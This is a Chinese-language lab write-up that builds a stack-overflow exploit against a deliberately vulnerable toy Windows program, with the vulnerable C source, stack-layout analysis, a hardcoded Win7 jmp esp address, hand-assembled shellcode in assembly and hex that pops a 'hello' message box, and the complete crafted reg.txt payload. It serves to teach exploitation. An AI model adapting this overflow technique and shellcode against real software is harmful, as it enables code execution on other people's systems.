实践是检验真理的唯一标准
栈溢出的原理非常简单,但是实际操作起来确实问题多多。
- 准备工具
- WinHex
- vc++6.0
- 一双勤奋的手和善于思考的大脑
#include <stdio.h>
#include <windows.h>
const char * FileName = "reg.txt";
const char * trueCode = "1245";
#define Msg(STR)( MessageBoxA(NULL,STR,NULL,MB_OK))
int _stdcall RegGo()
{
char FileBuf[8];
char cNow;
int nIndex = 0;
FILE *fp;
memset(FileBuf,0,sizeof(FileBuf));
fp=fopen(FileName,"r");
if(fp==NULL)
{
Msg("导入注册文件失败\n");
ExitProcess(-1);
}
fscanf(fp,"%s",FileBuf);
if(!strcmp(trueCode,FileBuf))
{
Msg("你的注册文件输入正确! 恭喜");
return 0;
}
Msg("你的注册文件好像有些问题!");
return 0;
}
int _stdcall WinMain(
HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow
)
{
RegGo();
MessageBoxA(NULL,"Hello world!\n",NULL,MB_OK);
}
编译:vc++6.0 Win32 Release
选项:C/C++ 优化禁用
这是一段存在溢出漏洞的程序。存在漏洞的函数时RegGo()
char FileBuf[8]; 存放验证文件数据的缓冲区只有8字节,实际上只能够储蓄7个字符 + 一个0结尾。
fscanf(fp,”%s”,FileBuf); 读入文件的数据,格式为%s。也就是说调用这个函数,它会从文件中读取一串以0结尾的字符串,然后放入FileBuf。
这里没有做长度限制,所以如果文件的长度超过7个字节就会造成溢出。又因为FileBuf是第一个变量,所以FileBuf[8] 就是上层函数ebp的所在处(注意这里的FileBuf是1字节大小)
所以文件的第9~12 字节就会覆盖上层函数框架ebp的值。
第13~16字节就会覆盖返回地址。
所以通过对reg.txt 文件的构造就可以实现漏洞利用。
感谢前辈们的方法,通过把返回地址覆盖为 jmp esp的地址来“导航”我们ShellCode。
这里给出一个在win7上比较通用的jmp esp地址。
0x7ffa4512 jmp esp
我们的文件构造为 4141414141414141 FFFFFFFF 1245FA7F
载入程序。。。。。。
好的,先用OD在这里下一个硬件执行断点吧,到了关键时刻我喜欢单步。
再继续往下走就是RegGo的栈区域以上的地方了,这里基本上都是数值,而不是代码,所以你根本看不懂这些乱七八糟的汇编代码是干啥的。
我们接着来编写ShellCode。
ShellCode的功能分析:
1、弹出一个MessageBoxA -> Hello
2、使程序正常退出。
首先在ShellCode的入口处程序要做的第一件事情就是构造Hello。 因为在ShellCode不能出现 0 字节,所以要通过寄存器的运算来间接构造,如xor ebx,ebx
0x6F6C6C65 为 olle,这是因为push的操作码的长度是4字节esp-4
还有一个h
通过esp-1 并mov实现。
0012FEFC 33DB xor ebx,ebx
0012FEFE 53 push ebx
0012FEFF 68 656C6C6F push 0x6F6C6C65
0012FF04 4C dec esp
0012FF05 C60424 68 mov byte ptr ss:[esp],0x68
此时此刻,esp的值就是hello字符串的地址。
OD alt+g 然后 输入MessageBoxA 查询到该函数的地址为 MessageBoxA 0x7740ea11
ShellCode中根据MessageBoxA的参数分别把数据压入栈中。
0012FF09 8BC4 mov eax,esp
0012FF0B 53 push ebx
0012FF0C 53 push ebx
0012FF0D 50 push eax
0012FF0E 53 push ebx
0012FF0F B8 11EA4077 mov eax,user32.MessageBoxA
0012FF14 FFD0 call eax
安全退出需要调用ExitProcess(0x75FA427E)
0012FF16 B8 7E42FA75 mov eax,KernelBa.ExitProcess
0012FF1B 53 push ebx
0012FF1C FFD0 call eax
完整的ShellCode代码:
0012FEFC 33DB xor ebx,ebx
0012FEFE 53 push ebx
0012FEFF 68 656C6C6F push 0x6F6C6C65
0012FF04 4C dec esp
0012FF05 C60424 68 mov byte ptr ss:[esp],0x68
0012FF09 8BC4 mov eax,esp
0012FF0B 53 push ebx
0012FF0C 53 push ebx
0012FF0D 50 push eax
0012FF0E 53 push ebx
0012FF0F B8 11EA4077 mov eax,user32.MessageBoxA
0012FF14 FFD0 call eax
0012FF16 B8 7E42FA75 mov eax,KernelBa.ExitProcess
0012FF1B 53 push ebx
0012FF1C FFD0 call eax
通过OD的二进制复制功能把这段ShellCode的二进制代码复制出来。
33 DB 53 68 65 6C 6C 6F 4C C6 04 24 68 8B C4 53 53 50 53 B8 11 EA 40 77 FF D0 B8 7E 42 FA 75 53
FF D0
很好,很有成就感!
接着打开WinHex继续构造我们的reg.txt
将这段ShellCode接在文件偏移为0x10的地方,也就是jmp esp地址的后面。
完整reg.txt:
4141414141414141 FFFFFFFF 1245FA7F 33DB5368656C6C6F4CC60424688BC453535053B811EA4077FFD0B87E42FA7553FFD0
以上就是我今晚实践的全部结果了。ShellCode的写得非常随意,我还需要好好的学习一下大神们的写法。
用到的硬编码 win7:
jmp esp 0x7ffa4512
MessageBoxA 0x7740ea11
ExitProcess 0x75FA427E
stdcall 调用方式有参数情况溢出利用实验:
修改源代码:RegGo增加一个参数:int _stdcall RegGo(const char *pas1)
00401053 |> \8D55 F8 lea edx,[local.2]
在这里下断得到FileBuf的基址。
然后把reg.txt的内容改为8个A,用od跟踪到retn指令。
retn指令:
retn指令带参数,设参数为x。
pop eip add esp,x可以平衡堆栈。
RegGo有一个参数,所以编译器编译后用的是retn 0x4
所以我们的ShellCode要在定位代码后面留一个空位,这个空位会覆盖参数。
堆栈图:
0012FEE8 41414141 AAAA
0012FEEC 41414141 AAAA
0012FEF0 0012FE00 .?.
0012FEF4 004010B8 ?@. 返回到 TestBug.004010B8 来自 TestBug.00401000
0012FEF8 00408040 @€@. ASCII “1245” 这个是参数哦
0012FEFC /0012FF88 ?.
retn指令执行后esp的值为:0012FEFC
所以我们构造ShellCode如下:
41414141 41414141 FFFFFFFF 【jmp esp地址】 FFFFFFFF 【ShellCode】
总结:在漏洞分析过程最重要的就是仔细调试,分析出函数的调用方式参数等。
附件整理:
链接:http://pan.baidu.com/s/1hqer5NQ 密码:llwn